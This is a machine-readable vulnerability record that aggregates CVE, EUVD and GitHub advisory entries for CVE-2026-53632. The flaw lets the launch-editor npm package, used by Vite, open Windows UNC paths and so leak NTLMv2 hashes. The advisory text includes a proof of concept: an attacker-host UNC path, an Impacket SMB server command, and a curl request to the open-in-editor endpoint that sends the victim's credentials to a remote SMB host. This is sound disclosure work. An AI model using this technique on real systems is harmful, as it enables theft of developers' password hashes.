{"id":"GHSA-v6wh-96g9-6wx3","revision":null,"records":[{"revision":"03de03a89a5c4923b0a5dc0998196939","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-53632","aliases":[],"title":"NTLMv2 hash disclosure via UNC path handling on Windows","description":"launch-editor allows users to open files with line numbers in editor from Node.js. Prior to 2.14.1, the launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking. This vulnerability is fixed in 2.14.1.","state":0,"publishedAt":"2026-06-22T15:54:09.24+00:00","modifiedAt":"2026-06-22T17:30:11.939+00:00","affected":[{"ecosystem":"Vendor product","name":"launch-editor","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"vitejs\",\n                    \"product\": \"launch-editor\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.14.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"},{"ecosystem":"Vendor product","name":"vite","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"vitejs\",\n                    \"product\": \"vite\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 8.0.0, < 8.0.16\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 7.0.0, < 7.3.5\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \"< 6.4.3\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"},{"ecosystem":"Vendor product","name":"vite-plus","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"vitejs\",\n                    \"product\": \"vite-plus\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 0.1.24\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","score":5.5,"severity":"MEDIUM"}],"references":["https://github.com/vitejs/launch-editor/security/advisories/GHSA-v6wh-96g9-6wx3"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-53632","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-53632","identifiers":["CVE-2026-53632"]},"retained":false,"historicalAffected":[]},{"revision":"533ba54d89a94cbaa5a4ccf0421640bd","observedAt":"2026-11-14T02:08:53.089+00:00","statement":{"source":"euvd","id":"EUVD-2026-38299","aliases":["CVE-2026-53632","GHSA-v6wh-96g9-6wx3"],"title":"launch-editor allows users to open files with line numbers in editor from Node.js. Prior to 2.14.1, the launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempt…","description":"launch-editor allows users to open files with line numbers in editor from Node.js. Prior to 2.14.1, the launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking. This vulnerability is fixed in 2.14.1.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","score":5.5,"severity":null}],"references":["https://github.com/vitejs/launch-editor/security/advisories/GHSA-v6wh-96g9-6wx3"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-38299","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jun 22, 2026, 3:54:09 PM","dateUpdated":"Jun 22, 2026, 5:30:11 PM"},"relatedAdvisories":[{"id":"openSUSE-SU-2026:21448-1","title":"Security update for agama-web-ui","vulnerabilityIds":["CVE-2025-7783","CVE-2026-12143","CVE-2026-13149","CVE-2026-13311","CVE-2026-13676","CVE-2026-27601","CVE-2026-40181","CVE-2026-49356","CVE-2026-53550","CVE-2026-53632","CVE-2026-54466","CVE-2026-54490","CVE-2026-55602"]},{"id":"openSUSE-SU-2026:11680-1","title":"agama-web-ui-24+0.a836cced5-52.1 on GA media","vulnerabilityIds":["CVE-2025-7783","CVE-2026-13149","CVE-2026-13676","CVE-2026-33245","CVE-2026-49356","CVE-2026-53550","CVE-2026-53632","CVE-2026-54466","CVE-2026-55602","CVE-2026-67313","CVE-2026-67315","CVE-2026-67317","CVE-2026-67319","CVE-2026-67321","CVE-2026-69153","CVE-2026-73086","CVE-2026-73088","CVE-2026-73089","CVE-2026-73650"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. 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Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-53632","identifiers":["CVE-2026-53632"]},"retained":false,"historicalAffected":[]},{"revision":"f6349284f0114cfcbbf888aa1230f4da","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-v6wh-96g9-6wx3","aliases":["CVE-2026-53632"],"title":"launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows","description":"### Summary\nThe `launch-editor` NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.\n\n### Impact\n\nIf the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the `launch-editor`:\n\n- using Windows\n- NTLM is not disabled ([it is recommended to disable](https://techcommunity.microsoft.com/blog/windows-itpro-blog/advancing-windows-security-disabling-ntlm-by-default/4489526), while it's still enabled by default)\n- the user accesses the attackers website that sends request to a middleware using `launch-editor`\n- the server that has the middleware using `launch-editor` is running\n- the attacker knows the URL for that server and the middleware\n\nThis would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.\n\n### Details\n`launch-editor` accepts file paths without validating or restricting Windows UNC paths such as:\n\n```\n\\\\attacker-host\\share\n```\n\nOn Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.\n\nIf an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.\n\nThe attacker could target a developer that uses a development server using `launch-editor` to develop code locally, send them a link and grab their NTLMv2 hash.\n\n### PoC\nFrom the attacker side, we will setup an SMB server. I personally used [Impacket's smbserver.py](https://github.com/fortra/impacket/blob/master/examples/smbserver.py), but you could use something like [Responder](https://github.com/lgandx/Responder) for this as well. For keeping it simple, we will use `smbserver.py` here.\n\nFirst, let's create a directory to serve as an SMB share.\n```\nmkdir /tmp/data\necho \"Hello world\" > /tmp/data/test.txt\n```\n\nThen, start the SMB server.\n```\n$ sudo smbserver.py -smb2support -debug share /tmp/data\n```\n\nNow, run any project that uses the launch-editor package. I have setup a simple \"Hello world\" project that uses Vite to do this. Then run the project locally (`vite`).\n\nNow last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use `curl` to achieve the same.\n\n```\ncurl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'\n```\n\nNote the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of `smbserver.py` and see the NTLMv2 hash coming in.\n\n<img width=\"1916\" height=\"277\" alt=\"2026-01-30_10-58\" src=\"https://github.com/user-attachments/assets/2f606e8f-c9bb-41dc-b507-ea6606b53368\" />","state":0,"publishedAt":"2026-06-15T17:18:31+00:00","modifiedAt":"2026-09-10T03:50:50.7050366+00:00","affected":[{"ecosystem":"npm","name":"launch-editor","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.14.1"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"vite","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"8.0.0"},{"kind":"fixed","version":"8.0.16"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"vite","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"7.0.0"},{"kind":"fixed","version":"7.3.5"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"vite","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"6.4.3"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"vite-plus","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.1.24"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/vitejs/launch-editor/security/advisories/GHSA-v6wh-96g9-6wx3","https://github.com/vitejs/launch-editor"],"sourceUrl":"https://github.com/advisories/GHSA-v6wh-96g9-6wx3","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-v6wh-96g9-6wx3","identifiers":["GHSA-v6wh-96g9-6wx3","CVE-2026-53632"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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